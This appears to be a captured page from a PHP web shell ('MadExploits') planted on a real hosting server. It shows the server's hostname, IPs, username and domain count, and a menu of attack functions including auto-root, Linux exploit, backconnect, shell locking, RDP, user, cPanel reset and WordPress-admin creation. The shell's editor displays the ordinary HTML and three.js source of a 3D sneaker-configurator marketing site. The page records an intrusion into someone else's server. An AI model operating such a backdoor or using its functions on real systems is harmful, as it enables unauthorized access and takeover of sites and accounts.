Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.217.146.30
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
threesixtycubes /
360 /
[ HOME SHELL ]
Name
Size
Permission
Action
css
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
index.html
44.12
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.html
<!DOCTYPE html> <html lang="en"> <head> <title>360 Sixty</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="apple-touch-icon" sizes="180x180" href="./img/apple-touch-icon.png"> <link rel="icon" type="image/png" sizes="32x32" href="./img/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="./img/favicon-16x16.png"> <link rel="stylesheet" href="./css/customstyle.css"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@100;400;500;600;700&display=swap" rel="stylesheet"> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.2/jquery.min.js"></script> <script src="./js/owl.carousel.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/three@0.115/build/three.js"></script> <script src="https://cdn.jsdelivr.net/npm/three@0.122.0/examples/js/controls/OrbitControls.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/three@0.115/examples/js/loaders/GLTFLoader.js"></script> <style> #c { width: 100%; height: 80%; display: block; } </style> </head> <body> <div class="mainTop position-relative"> <header> <div class="cst-container"> <div class="width-1153 mvNone"> <div class="navHeader"> <ul class="navtop"> <li><a class="logo" href="#"> <img src="./img/threesixtycubes.png" loading="lazy" alt="Logo" width="287" height="25"> </a></li> <li><a href="#Withoutlimits">Features & Solution</a></li> <li><a href="#Qtxt">Insights</a></li> <li><a href="#threeDemo">Demo</a></li> <li><a href="#PricingX">Pricing</a></li> <li><a href="#FaqX">FAQ</a></li> </ul> </div> </div> <div class="mvblock Amk"> <a class="logomb" href="#"> <img src="./img/threesixtycubes.png" loading="lazy" alt="Logo" width="287" height="25"></a> <!-- <span class="menu-tab"> <svg width="46" height="22" viewBox="0 0 46 22" fill="none" xmlns="http://www.w3.org/2000/svg"> <rect y="17.0342" width="45.1427" height="4.93146" rx="2.46573" fill="#fff"/> <rect y="0.0341797" width="45.1427" height="4.93146" rx="2.46573" fill="#fff"/> </svg> </span> --> <div class="menu-tab"> <div id="one"></div> <div id="two"></div> <div id="three"></div> </div> </div> <div class="menu-hide"> <nav> <ul> <li><a href="#section1">Features & Solution</a></li> <li><a href="#section1">Insights</a></li> <li><a href="#section1">Demo</a></li> <li><a href="#PricingX">Pricing</a></li> <li><a href="#FaqX">FAQ</a></li> </ul> </nav> </div> </div> </header> <section class="vid-header bc-black" id="vid1"> <!-- <video width="100%" height="809" muted preload> <source src="video9" type="video/mp4"> <source src="./img/video9.mp4" type="video/ogg"> Your browser does not support the video tag. </video> --> <div id="bound-three" class="scroll-bound"> <div class="content"> <video width="200%" height="809" muted preload> <source src="./img/video9.mp4" type="video/mp4"> <source src="./img/video9.mp4" type="video/mp4"> </video> </div> </div> </div> </section> <section class="onlyBlack bc-black" id="Withoutlimits"> <div class="cst-container"> <div class="flexCenter"> <h1 class="MaxFont">Customise Without limits</h1> </div> </div> </section> <!--3D Start--> <section class="onlyBlack bc-black" id="threeDemo"> <div class="t3d-height"> <p>Color Middle</p> <!--<button class="top_Button" data-userid="red.jpg" data-types="dummy">Red</button>--> <!--<button class="top_Button" data-userid="black.jpg" data-types="dummy" >Black</button>--> <!--<button class="top_Button" data-userid="blue.jpg" data-types="dummy" >Blue</button>--> <!--<button class="top_Button" data-userid="green.jpg" data-types="dummy" >Green</button>--> <!--<button class="top_Button" data-userid="purple.jpg" data-types="dummy" >Purple</button>--> <!--<button class="top_Button" data-userid="white.jpg" data-types="dummy" >White</button>--> <!--<button class="top_Button" data-userid="pattern.jpg" data-types="dummy" >Pattern</button>--> <button class="top_Button" data-userid="Grey.jpg" data-types="middle" >Grey </button> <button class="top_Button" data-userid="Light Blue.jpg" data-types="middle" >Light Blue </button> <button class="top_Button" data-userid="light purple.jpg" data-types="middle" >light purple </button> <button class="top_Button" data-userid="peach.jpg" data-types="middle" >peach </button> <button class="top_Button" data-userid="yellow.jpg" data-types="middle" >yellow </button> <p>Sole</p> <button class="top_Button" data-userid="red.jpg" data-types="sole">Red</button> <button class="top_Button" data-userid="black.jpg" data-types="sole" >Black</button> <button class="top_Button" data-userid="blue.jpg" data-types="sole">Blue</button> <button class="top_Button" data-userid="green.jpg" data-types="sole">Green</button> <button class="top_Button" data-userid="purple.jpg" data-types="sole">Purple</button> <button class="top_Button" data-userid="white.jpg" data-types="sole">White</button> <p>Laces</p> <button class="top_Button" data-userid="red.jpg" data-types="laces" >Red</button> <button class="top_Button" data-userid="black.jpg" data-types="laces">Black</button> <button class="top_Button" data-userid="blue.jpg" data-types="laces">Blue</button> <button class="top_Button" data-userid="green.jpg" data-types="laces">Green</button> <button class="top_Button" data-userid="purple.jpg" data-types="laces">Purple</button> <button class="top_Button" data-userid="white.jpg" data-types="laces">White</button> <p>Pattern</p> <button class="top_Button_gltf" data-userid="Sneaker pattern_Abstract3.glb" data-types="dummy">Sneaker pattern_Abstract3</button> <button class="top_Button_gltf" data-userid="Sneaker pattern_destiny.glb" data-types="dummy" >Sneaker pattern_destiny</button> <button class="top_Button_gltf" data-userid="Sneaker pattern_rick_morty.glb" data-types="dummy" >Sneaker pattern_rick_morty </button> <button class="top_Button_gltf" data-userid="Sneaker_abstract.glb" data-types="dummy" >Sneaker_abstract </button> <button class="top_Button_gltf" data-userid="Sneaker_abstract2.glb" data-types="dummy" >Sneaker_abstract2 </button> <canvas id="c" data-engine="three.js r149" width="442" height="460" style="touch-action: none;"></canvas> <img src="./img/Desktop-66.png" class="responsive-img" loading="lazy" alt="3d Logo"> </div> </section> <!--3D--> <!--Q --> <section class="GridP bc-black" id="DemoP"> <div class="cst-container"> <h2 class="Qtitle font-60">One website,<br> Countless possibilities </h2> <div class="Grid3"> <div class="items3 GirdsItems text-center"> <h2>Built with SEO in mind</h2> <p>Specifically designed with an SEO-friendly website that you can update to show up on Google!</p> </div> <div class="items3 GirdsItems text-center"> <h2>Enterprise-grade security</h2> <p>We keep your site and visitors’ data protected, 24/7.</p> </div> <div class="items3 GirdsItems text-center"> <h2>Responsive Site</h2> <p>Responsive website created that functions on all current devices!</p> </div> <div class="items3 GirdsItems text-center"> <h2>Faster loading</h2> <p>Coded technology with compressed files to speed up website loading for your visitors!</p> </div> <div class="items3 GirdsItems text-center"> <h2>Google Analytics Integration</h2> <p>Analytics built in so you can access all the data to understand your</p> </div> <div class="items3 GirdsItems text-center"> <h2>Hosting</h2> <p>Server chosen for your requirements to guarantee 99.9% Uptime </p> </div> </div> </div> </section> <!--Q --> <!-- div Quee--> <section class="squ" id="Qtxt"> <div class="full-container"> <div class="Gflex pos-relative"> <div class="items50"> <div class="imageBacTxt" style="background-image: url('./img/imgBottom.png');"> <div class="SliderTxt"> <div class="cstV position-relative owl-carousel owl-theme"> <div class="item"> <h3>"Product configurators have the power to transform the way businesses interact with their customers and can drive increased revenue, improved customer satisfaction, and reduced costs."</h3> <p class="userName">- Deloitte Insights</p> </div> <div class="item"> <h3>"Product configurators are becoming an essential part of the digital transformation of manufacturing and retail industries. They provide customers with a highly personalized experience, while enabling companies to streamline their product design and sales processes."</h3> <p class="userName">- McKinsey & Company</p> </div> <div class="item"> <h3>“The 3D product configurator is a game changer for the way products are designed, developed, and sold. It enables companies to bring their products to market faster, with greater accuracy, and at a lower cost, while providing customers with a more engaging and personalized experience."</h3> <p class="userName">- Jim Heppelmann, CEO of PTC</p> </div> <div class="item"> <h3>"Product configurators are a powerful tool for companies looking to stay ahead of the curve in today's fast-paced business environment. They can help to improve the customer experience, drive sales, and reduce costs, all while providing valuable insights into customer preferences and behavior."</h3> <p class="userName">- Bain & Company</p> </div> </div> </div> </div> </div> <!-- slider--> <div class="items51"> <div class="othesQ"> <div class="paddonx"> <h2 class="font-150">60%</h2> <p class="subsmall">Higher Conversions Are Earned With Interactive 3D.</p> <div class="frline"></div> <div class="mrQx"> <p class="font-18"> Using 3D visualisation to instils trust and increases sales. </p> <p class="font-14">For consumers to feel secure in their purchase, a product page should provide as much information as possible. Research shows that that 70-85% of smartphone owners in different countries were influenced by product photographs and visuals, while an almost identical percentage (82%) was influenced by product descriptions and specifications. Internet buyers like the added depth of knowledge that 3D renderings provide before making an online purchase.</p> </div> </div> </div> </div> <!-- slider--> </div> <!-- f1 --> <div class="Gflex pos-relative"> <div class="items50 blueQ"> <div class="paddonx"> <h2 class="font-150">35%</h2> <p class="">Reduction In Rate of Product Returns.</p> <div class="frline"></div> <div class="mrQx"> <p class="font-18"> Reduce Returns While Gaining Brand Recognition </p> <p class="font-14">What You See While Using A 3D Product is Exactly What You Receive. Customers Can Make Better-Informed Purchasing Decisions With The Aid Of 3D Showcase Technology As Businesses Work To Lower Return Rates Resulting In Satisiied Customers and Less Business Running Cost. By Utilising A 3D Configurator, Customers Are Able To See A More Precise Visual Representation Of The Product's Details Than Is Possible With 2D Images. </p> </div> </div> </div> <!-- slider--> <div class="items51 blueLight"> <div class="othesQ"> <div class="paddonx"> <h2 class="font-150">12X</h2> <p class="subsmall">Increase In Likelihood Of User Engagment.</p> <div class="frline"></div> <div class="mrQx"> <p class="font-18"> Generate more sales with 3D. </p> <p class="font-14">Data from our past experience And collected statistics research has shown that customers who use product configurators tend to have a higher level of engagement and satisfaction with the product selection and purchasing process, which can lead to increased conversions and reduced product returns. Additionally, by allowing customers to see a visual representation of the product they are considering purchasing, a configurator can help to build trust and confidence in the brand, which can further drive sales.</p> </div> </div> </div> </div> <div class="width-960 pos-abs"> <h2 class="wexH2">Want to learn more about <br> our services?</h2> <p> <a class="bh-btn mediumTxt-18" aria-label="Talk to an expert" href="https://noormertech.com/" target="_blank"> Talk to an expert </a> </p> </div> </div> <!-- f1 --> </div> </section> <!-- div Quee--> <div id="bound-two" class="scroll-bound"> <div class="content"> <!-- <img src="./img/laptop.png" alt="Trulli" width="500" height="333"> --> <video width="100%" height="809" muted preload> <source src="./img/laptop5.mp4" type="video/mp4"> <source src="./img/laptop5.mp4" type="video/ogg"> <!-- <source src="./img/laptop.png" type="png"> <source src="./img/laptop.png" type="png"> --> </video> <!-- <div class="overlayText"> <div class="vidTxt"> <h2 class="vidh2 font-60">Powerful Cms</h2> <p class="vidtxtp font-18">Manage Content-Driven Site. Update and Control Every Kind Of Content In Your website And View Detailed Reporting Of Your Website And User Interactions While Being Stored In An Secure Admin Panel Which Accessible To You Anywhere Or Any Platform.</p> <p> <a class="ex-btn" target="_blank" aria-label="Talk to an expert" href="https://noormertech.com/"> Talk to an expert </a> </p> <div class="ulli"> <p class="mediumTxt-18"> > Order Management</p> <p class="mediumTxt-18"> > Product Management</p> <p class="mediumTxt-18"> > Traffic Analysis</p> <p class="mediumTxt-18"> > User Management</p> <p class="mediumTxt-18"> > Secure Login Panel</p> <p class="mediumTxt-18"> > Frontend Design Control</p> <p class="mediumTxt-18"> > Coupon Generators</p> <p class="mediumTxt-18"> > Price Management</p> <p class="mediumTxt-18"> > Social-Media Management</p> <p class="mediumTxt-18"> > Seo Management</p> <p class="mediumTxt-18"> & Plenty More Customized To You Or Specifics Needs</p> </div> </div> --> </div> </div> </div> <style> #bound-two { background-color: black; } #overlayText { position:absolute; top:30%; left:20%; z-index:1; } #vidh2 { color: white; font-size: 20px; align-self: center; } </style> <section class="vid-img bc-black video-container" id="Qpower"> <div class="width-1153k"> <div class="wrapVid"> <div class="vidDiv"> <!-- <video id="video-player" width="100%" height="1080" muted loop > <source src="./img/laptop.mp4" type="video/mp4"> <source src="./img/laptop.mp4" type="video/ogg"> Your browser does not support the video tag. </video> --> <!-- <div id="bound-two" class="scroll-bound"> <div class="content"> <video width="100%" height="809" muted preload> <source src="./img/laptop.mp4" type="video/mp4"> <source src="./img/laptop.mp4" type="video/ogg"> </video> </div> </div> --> <!-- <div class="myDiv"> <h2 class="vidh2 font-60">Powerful Cms</h2> <br> <br> <br> <p class="vidtxtp font-18">Manage Content-Driven Site. Update and Control Every Kind Of Content In Your website And View Detailed Reporting Of Your Website And User Interactions While Being Stored In An Secure Admin Panel Which Accessible To You Anywhere Or Any Platform.</p> <p> <p> <a class="ex-btn" target="_blank" aria-label="Talk to an expert" href="https://noormertech.com/"> Talk to an expert </a> </p> --> <!-- <div class="ulli"> <p class="mediumTxt-18"> > Order Management</p> <p class="mediumTxt-18"> > Product Management</p> <p class="mediumTxt-18"> > Traffic Analysis</p> <p class="mediumTxt-18"> > User Management</p> <p class="mediumTxt-18"> > Secure Login Panel</p> <p class="mediumTxt-18"> > Frontend Design Control</p> <p class="mediumTxt-18"> > Coupon Generators</p> <p class="mediumTxt-18"> > Price Management</p> <p class="mediumTxt-18"> > Social-Media Management</p> <p class="mediumTxt-18"> > Seo Management</p> <p class="mediumTxt-18"> & Plenty More Customized To You Or Specifics Needs</p> </div> --> <style> .myDiv { /* text-align: center; */ width: auto; } </style> </div> <div class="vidTxt"> <h2 class="vidh2 font-60">Powerful Cms</h2> <p class="vidtxtp font-18">Manage Content-Driven Site. Update and Control Every Kind Of Content In Your website And View Detailed Reporting Of Your Website And User Interactions While Being Stored In An Secure Admin Panel Which Accessible To You Anywhere Or Any Platform.</p> <p> <a class="ex-btn" target="_blank" aria-label="Talk to an expert" href="https://noormertech.com/"> Talk to an expert </a> </p> <div class="ulli"> <p class="mediumTxt-18"> > Order Management</p> <p class="mediumTxt-18"> > Product Management</p> <p class="mediumTxt-18"> > Traffic Analysis</p> <p class="mediumTxt-18"> > User Management</p> <p class="mediumTxt-18"> > Secure Login Panel</p> <p class="mediumTxt-18"> > Frontend Design Control</p> <p class="mediumTxt-18"> > Coupon Generators</p> <p class="mediumTxt-18"> > Price Management</p> <p class="mediumTxt-18"> > Social-Media Management</p> <p class="mediumTxt-18"> > Seo Management</p> <p class="mediumTxt-18"> & Plenty More Customized To You Or Specifics Needs</p> </div> </div> </div> </div> </section> <!--pricing--> <section class="Pricing bc-black" id="PricingX"> <div class="cst-container"> <div class="width-1153"> <h2 class="PricingH2 Ttotal font-60">We Have The Best Offers For Your Various Types Of Business</h2> <div class="DmTable"> <div class="table-responsive"> <table class="pricing-table"> <thead> <tr class="topHeadPricing"> <td width="40%" class="pricing-table-text"> <!-- <h4 class="txt-sm"> Plans and Pricing </h4> --> <p style="color:#00E81D;font-weight: bold;margin-left: -25px; margin-bottom: -50px;font-size: 20px;">Plans and Pricing</p> <!-- <p style="=font-weight: bold;">Plans and Pricing </p> <p>Plans and Pricing </p> --> </td> <td width="20%" class="pricing-table-text"> <div class="pricing-table-item-head"> <h2>Basic</h2> <p>Convenience of payroll and<br> something at affordable prices </p> </div> </td> <!-- <p style=" border-radius: 5px; border: 1px solid #000; padding: 10px 20px; font-size: 20px; background:#570FBC; vertical-align: right; /* font-size: smaller; */ /* font-size: 2em; */ cursor: pointer;"> Best Seller </p> --> <td width="20%" class="pricing-table-text"> <div class="pricing-table-item-head"> <p style=" border-radius: 50px; border: 1px solid #000; padding: 6px 50px ; font-size: 9px; background:#570FBC; vertical-align: left; /* font-size: smaller; */ /* font-size: 2em; */ cursor: pointer;"> Best Seller </p> <h2 >Pro <!-- <sup> Best </sup> --> <!-- <p style="color:rgb(115, 13, 174);width: 41px; height: 12px; font-family: 'Poppins'; font-style: normal; font-weight: 500; font-size: 20px; line-height: 8px; /* identical to box h">Best Seller</p> --> <!-- <p style=" border-radius: 5px; border: 1px solid #000; padding: 10px 20px; font-size: 20px; background: purple; vertical-align: super; /* font-size: smaller; */ /* font-size: 2em; */ cursor: pointer;"> Best Seller <sup>Best Seller</sup> --> <!-- </p> --> </h2> <p>Integrated payroll solution with comprehensive features </p> </div> </td> <td width="20%"class="pricing-table-text"> <div class="pricing-table-item-head"> <h2>Tailor made</h2> <p>Discuss with us</p> </div> </td> </tr> </thead> <tbody> <tr class="pricing-table-list"> <td> <p>Page</p> </td> <td> <p>1</p> </td> <td> <p>Up to 5</p> </td> <td> <p>Discuss with us</p> </td> </tr> <tr class="pricing-table-list"> <td> <p>Responsive Design</p> </td> <td> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </td> <td> <p> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </p> </td> <td> <p> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </p> </td> </tr> <tr class="pricing-table-list"> <td> <p>Product</p> </td> <td> <p>1</p> </td> <td> <p>Up to 5</p> </td> <td> <p>Discuss with us</p> </td> </tr> <tr class="pricing-table-list"> <td> <p>Video render</p> </td> <td> <p>1</p> </td> <td> <p>Up to 5</p> </td> <td> <p>Discuss with us</p> </td> </tr> <tr class="pricing-table-list"> <td> <p>SEO Friendly</p> </td> <td> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </td> <td> <p> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </p> </td> <td> <p> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </p> </td> </tr> <tr class="pricing-table-list"> <td> <p>Source File</p> </td> <td> <p></p> </td> <td> <p> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </p> </td> <td> <p> <p><img src="./img/Qtrue.png" loading="lazy" alt="yes" width="20" height="20"></p> </p> </td> </tr> </tbody> </table> </div> </div> </div> </div> </section> <!--pricing--> <!--Faq--> <section class="Faq" id="FaqX"> <div class="cst-container"> <div class="width-1153 mb-50"> <h2 class="Ttotal font-60">FAQs</h2> </div> <div class="FaqQ"> <div class="itemsFaq"> <div class="Qfaq font-24"> <li> How do you create 3d models for my product? </li> </div> <div class="Afaq mediumTxt-18"> We will ask you to send your product to us or we will visit your work/factory to create full 3d models using our state of the art software with out talented 3d modeling team. </div> </div> <div class="linehr"></div> <div class="itemsFaq"> <div class="Qfaq font-24"> <li>How does 3d platform integrate with my existing e-commerce platform? </li> </div> <div class="Afaq mediumTxt-18"> Our platform can be integrated into an existing e-commerce platform in several ways, depending on the platform being used. We can be integrate it as a standalone application, It can be integrated as a plugin/API or module within the e-commerce platform. </div> </div> <div class="linehr"></div> <div class="itemsFaq"> <div class="Qfaq font-24"> <li> How can I customize the look and feel of 3D product configurator to match my brand and website design? </li> </div> <div class="Afaq mediumTxt-18"> We will follow your brand guidelines such your FONTS, LOGO, COLOR SCHEMES, the LOOK and FEEL since its a 100% custom built website. We will be creating your full fresh concept using our talent UI designers and multiple software to get the perfect look to display your product keeping the user friendly and high conversion points in mind. </div> </div> <div class="linehr"></div> <div class="itemsFaq"> <div class="Qfaq font-24"> <li>How long does it take to set up a product configurator and what is the process like? </li> </div> <div class="Afaq mediumTxt-18"> The time it takes to set up our 3d product code will depend on the specific product configurator being used and the complexity of the product being configured. However, the process typically involves designing and building the 3D models of the products, creating the options and parameters for the configurator, and integrating the product configurator into the e-commerce platform. The setup process may also include testing and debugging, as well as training for using and maintaining the product configuration. </div> </div> </div> </div> </section> <!--Faq End--> <section class="bc-black" id="GetX"> <div class="cst-container"> <div class="w-1202"> <div class="flexCenter h1024 text-center"> <h2 class="MaxFont">Lets take your product <br> to the next level</h2> <a class="linkA mediumTxt-18" target="_blank" aria-label="Get Started" href="https://noormertech.com/">Get Started</a> </div> </div> </div> </section> <footer class="bc-black"> <div class="width-1420"> <div class="users-footer"> <div class="itemV5"> <ul class="footerul w-330"> <li><a href="#threeDemo" aria-label="Live Demo" >Live Demo</a> </li> <li><a href="#Qtxt" aria-label="Live Demo">insights</a> </li> <li><a href="mailto:sumer@noormertech.com" target="_blank" aria-label="Contact">contact</a> </li> </ul> </div> <div class="itemV5 w-50"> <span class="line"></span> </div> <div class="itemV5"> <p>THREESIXTYcubes © 2022</p> </div> <div class="itemV5 w-50"> <span class="line"></span> </div> <div class="itemV5"> <ul class="footerul w-215"> <li><a href="https://www.instagram.com/threesixtycubes/?hl=en" aria-label="instagram" target="_blank">instagram</a> </li> <li><a href="https://www.linkedin.com/company/threesixtycubes/" aria-label="linkedin" target="_blank">linkedin</a> </li> </ul> </div> </div> </div> </footer> <script> const registerVideo = (bound, video) => { bound = document.querySelector(bound); video = document.querySelector(video); const scrollVideo = ()=>{ if(video.duration) { const distanceFromTop = window.scrollY + bound.getBoundingClientRect().top; const rawPercentScrolled = (window.scrollY - distanceFromTop) / (bound.scrollHeight - window.innerHeight); const percentScrolled = Math.min(Math.max(rawPercentScrolled, 0), 1); // 0,1 --> original video.currentTime = video.duration * percentScrolled; } requestAnimationFrame(scrollVideo); } requestAnimationFrame(scrollVideo); document.addEventListener("touchmove", function(event) { if (event.touches[0].clientY > window.innerHeight / 2) { // video.playbackRate += 0.25; // Orignal video.playbackRate += 0.25; } else { // video.playbackRate -= 0.25; // Original video.playbackRate -= 0.25; } }); } // const videoContainer = document.querySelector('#videoContainer'); // const video = document.querySelector('#video'); // videoContainer.addEventListener('touchstart', handleTouchStart, false); // videoContainer.addEventListener('touchmove', handleTouchMove, false); // let xDown = null; // let yDown = null; // function handleTouchStart(evt) { // xDown = evt.touches[0].clientX; // yDown = evt.touches[0].clientY; // } // function handleTouchMove(evt) { // if (!xDown || !yDown) { // return; // } // const xUp = evt.touches[0].clientX; // const yUp = evt.touches[0].clientY; // const xDiff = xDown - xUp; // const yDiff = yDown - yUp; // if (Math.abs(xDiff) > Math.abs(yDiff)) { // if (xDiff > 0) { // video.currentTime -= 0.1; // } else { // video.currentTime += 0.1; // } // } // xDown = null; // yDown = null; // } // registerVideo("#bound-one", "#bound-one video"); registerVideo("#bound-two", "#bound-two video") registerVideo("#bound-three", "#bound-three video") </script> <script src="./js/customscript.js"></script> <script type="module"> function main() { const canvas = document.querySelector('#c'); const renderer = new THREE.WebGLRenderer({canvas}); renderer.outputEncoding = THREE.sRGBEncoding; const fov = 10; const aspect = 10; // the canvas default const near = 50; const far = 20; var root; var dummy; var laces; var sole; var botback_gltf; var botside_gltf; var manager; var top_gltf; var pimage; var middle; const camera = new THREE.PerspectiveCamera(fov, aspect, near, far); camera.position.set(10, 100, 20); const controls = new THREE.OrbitControls(camera, canvas); controls.target.set(0, 5, 0); controls.update(); const scene = new THREE.Scene(); // scene.background = new THREE.Color('black'); // const top = document.getElementById('top_Button'); // top.addEventListener( 'click', change_model_top ); // top.myParam = $(top).attr("data-userid"); var top = document.getElementsByClassName("top_Button_gltf"); for (var i = 0; i < top.length; i++) { var fv= $(top[i]).attr("data-userid"); top[i].addEventListener('click', change_model_top_gltf); //alert(top.myParam); } var top = document.getElementsByClassName("top_Button"); for (var i = 0; i < top.length; i++) { var fv= $(top[i]).attr("data-userid"); top[i].addEventListener('click', change_model_top); //alert(top.myParam); } { const planeSize = 0; } { const skyColor = 'white'; // light blue const groundColor = 'white'; // brownish orange const intensity = 0.6; const light = new THREE.HemisphereLight(skyColor, groundColor, intensity); scene.add(light); } { const color = 'white'; const intensity = 0.8; const light = new THREE.DirectionalLight(color, intensity); light.position.set(5, 10, 2); scene.add(light); scene.add(light.target); } function frameArea(sizeToFitOnScreen, boxSize, boxCenter, camera) { const halfSizeToFitOnScreen = sizeToFitOnScreen * 0.5; const halfFovY = THREE.MathUtils.degToRad(camera.fov * .5); const distance = halfSizeToFitOnScreen / Math.tan(halfFovY); // compute a unit vector that points in the direction the camera is now // in the xz plane from the center of the box const direction = (new THREE.Vector3()) .subVectors(camera.position, boxCenter) .multiply(new THREE.Vector3(9, 0, 0)) .normalize(); // move the camera to a position distance units way from the center // in whatever direction the camera was from the center already camera.position.copy(direction.multiplyScalar(distance).add(boxCenter)); // pick some near and far values for the frustum that // will contain the box. camera.near = boxSize / 100; camera.far = boxSize * 100; camera.updateProjectionMatrix(); // point the camera to look at the center of the box camera.lookAt(boxCenter.x, boxCenter.y, boxCenter.z); } { pimage='texture/Sneaker_pattern_destniy.webp'; const gltfLoader = new THREE.GLTFLoader( ); gltfLoader.load('glb_text/Sneaker pattern_Abstract3.glb', (gltf) => { dummy = gltf.scene; scene.add(dummy); //loadTexture('texture/Sneaker_pattern_destniy.webp',dummy); // compute the box that contains all the stuff // from root and below const box = new THREE.Box3().setFromObject(dummy); const boxSize = box.getSize(new THREE.Vector3()).length(); const boxCenter = box.getCenter(new THREE.Vector3()); // set the camera to frame the box frameArea(boxSize * 0.7, boxSize, boxCenter, camera); // update the Trackball controls to handle the new size controls.maxDistance = boxSize * 10; controls.target.copy(boxCenter); controls.update(); }); gltfLoader.load('glb_text/Sneaker_Laces.glb', (gltf) => { laces = gltf.scene; scene.add(laces); loadTexture('glb_text/text/red.jpg',laces); }); gltfLoader.load('glb_text/Sneaker_sole.glb', (gltf) => { sole = gltf.scene; scene.add(sole); loadTexture('glb_text/text/red.jpg',sole); // loadTexture('texture/Sneaker_pattern_abstract.jpg',top_gltf); }); gltfLoader.load('glb_text/Sneaker_tag.glb', (gltf) => { top_gltf = gltf.scene; scene.add(top_gltf); }); gltfLoader.load('glb_text/Sneaker_colour.glb', (gltf) => { middle = gltf.scene; scene.add(middle); loadTexture('glb_text/text1/Grey.jpg',middle); }); // gltfLoader.load('glb/Sneaker_tag.glb', (gltf) => { // top_gltf = gltf.scene; // //loadTexture('texture/Sneaker_tag.png',top_gltf); // scene.add(top_gltf); // }); } manager = new THREE.LoadingManager(); manager.onStart = function ( url, itemsLoaded, itemsTotal ) { console.log( 'Started loading file: ' + url + '.\nLoaded ' + itemsLoaded + ' of ' + itemsTotal + ' files.' ); }; manager.onLoad = function ( ) { console.log( 'Loading complete!'); }; manager.onProgress = function ( url, itemsLoaded, itemsTotal ) { console.log( 'Loading file: ' + url + '.\nLoaded ' + itemsLoaded + ' of ' + itemsTotal + ' files.' ); }; manager.onError = function ( url ) { console.log( 'There was an error loading ' + url ); }; function loadTextures(urls, callback) { var textures = []; var onLoad = function() { callback(null, textures); console.log( 'Loading complete!'); }; var onProgress = function() {}; var onError = function(url) { callback(new Error('Cannot load ' + url)); }; var manager = new THREE.LoadingManager(onLoad, onProgress, onError); var loader = new THREE.TextureLoader(manager); for (var i=0; i<urls.length; i++) { textures.push(loader.load(urls[i])); } } var urls = [ "sneaker_glb/red.jpg", "sneaker_glb/black.jpg", "sneaker_glb/blue.jpg", "sneaker_glb/purple.jpg", "sneaker_glb/pattern.jpg", "sneaker_glb/green.jpg" ]; loadTextures(urls, function(error, textures) { if (error) { console.log(error); return; } }); function loadTexture(path, object) { const texture = new THREE.TextureLoader(manager).load( path ); texture.wrapS = THREE.RepeatWrapping; texture.wrapT = THREE.RepeatWrapping; texture.opacity = 1; texture.needsUpdate = true; texture.repeat.set( 0.9, 0.9 ); object.traverse( function ( child ) { if (child instanceof THREE.Mesh) { child.material.map = texture; child.material.needsUpdate = true; child.material.map.needsUpdate = true; } //scene.add(object); }); } function change_model_top() { var value = $(this).attr("data-userid"); var types = $(this).attr("data-types"); if(types=='dummy') { loadTexture('texture/'+value,dummy); pimage='texture/'+value; } if(types=='sole') { loadTexture('glb_text/text/'+value,sole); } if(types=='laces') { loadTexture('glb_text/text/'+value,laces); } if(types=='middle') { loadTexture('glb_text/text1/'+value,middle); } } function change_model_top_gltf() { var value = $(this).attr("data-userid"); var types = $(this).attr("data-types"); var rmv=dummy; const gltfLoader = new THREE.GLTFLoader( ); gltfLoader.load('glb_text/'+value, (gltf) => { dummy = gltf.scene; scene.remove(scene.remove(rmv)); scene.add(dummy); // loadTexture(pimage,dummy); }); } //bottom('220818022018.gltf') function resizeRendererToDisplaySize(renderer) { const canvas = renderer.domElement; const width = canvas.clientWidth; const height = canvas.clientHeight; const needResize = canvas.width !== width || canvas.height !== height; if (needResize) { renderer.setSize(width, height, false); } return needResize; } function render() { if (resizeRendererToDisplaySize(renderer)) { const canvas = renderer.domElement; camera.aspect = canvas.clientWidth / canvas.clientHeight; camera.updateProjectionMatrix(); } renderer.render(scene, camera); requestAnimationFrame(render); } requestAnimationFrame(render); } main(); </script> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script> </body> </html>
Close
